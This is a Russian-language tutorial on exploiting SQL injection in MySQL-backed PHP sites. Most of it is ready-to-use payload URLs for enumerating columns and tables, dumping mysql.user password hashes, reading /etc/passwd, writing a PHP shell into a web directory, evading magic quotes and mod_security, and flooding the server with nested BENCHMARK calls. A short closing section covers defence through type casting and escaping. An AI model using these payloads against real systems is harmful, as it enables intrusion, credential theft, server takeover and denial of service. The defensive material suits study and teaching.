SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте. Выявление наличия SQL инъекции. Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам. Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем. http://site/test.php?id=12' http://site/test.php?id=aaa http://site/test.php?id=13-1 Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре. Анализ БД через MySQL инъекцию. И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12 Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще. Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат). В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница. Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как http://site/test.php?id=99999' должен породить ошибку. Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных. Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union 1) количество полей между select и where Пробуем последовательно, пока не получим верный запрос: http://site/test.php?id=99999+union+select+null/* http://site/test.php?id=99999+union+select+null,null/* более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так: http://site/test.php?id=12+union+select+null/* http://site/test.php?id=12+union+select+null,null/* Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции. После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where 2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу. При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его: http://site/test.php?id=9999+union+select+'test',null,null/* http://site/test.php?id=9999+union+select+null,'test',null/* И до тех пор, пока не увидим слово test в нужном нам месте. Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение. Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение. http://site/test.php?id=9999+union+select+1,2,3/* Этот же фокус пройдет и там, где кавычки экранируются. Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий. 3) имена таблиц Теперь можно перебирать имена таблиц. http://site/test.php?id=12+union+select+null,null,null+from+table1/* Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп. 4)системная информация у нас уже достаточно информации чтобы составить такой запрос. http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/* В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/* http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/* Кроме того можно узнать много интересного: http://site/test.php?id=9999+union+select+null,DATABASE(),null/* http://site/test.php?id=9999+union+select+null,USER(),null/* http://site/test.php?id=9999+union+select+null,VERSION(),null/* 5) названия столбцов в таблице Их аналогично, можно перебрать: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и тд. текст файлов через MySQL инъекцию. Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/* запись файлов в веб директорию (php shell). Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа. http://site/test.php?id=9999+union+select+null,'',null+from+table1+into+outfile+'/usr/local/site/www/banners/cmd.php'/* При этом конструкция from table1 обязательна. Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include. инъекция после limit. Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп. Практика показывает, что все вышесказанное может быть применено и в этом случае. MySQL корректно реагирует на запросы типа: Select ... limit 1,2 union select.... Select ... limit 1 union select.... Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы: Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select.... некоторые "подводные камни". 1) Magic quotes Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки. Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/* http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/* http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/* Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку. 2) Mod_security. Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля. Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически. Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения. DOS в MySQL инъекции. Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы. Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос: http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) 1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун. другие типа MySQL инъекции. Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например: mysql_query("select id from users where password like '".addslashes($password)."' and user like '".addslashes($user)."'"); в этом случае к любому пользователю подойдет пароль % apache mod_rewrite В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта. Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1" Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла. коротко о защите. Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил. 1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу. $id=(int)$id; $total=(float)$total; Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию. if((string)$id<>(string)(int)$id) { //пишем в лог о попытке die('ops'); } 2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки. $str=addslashes($str); или, лучше, mysql_escape_string($str) 3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.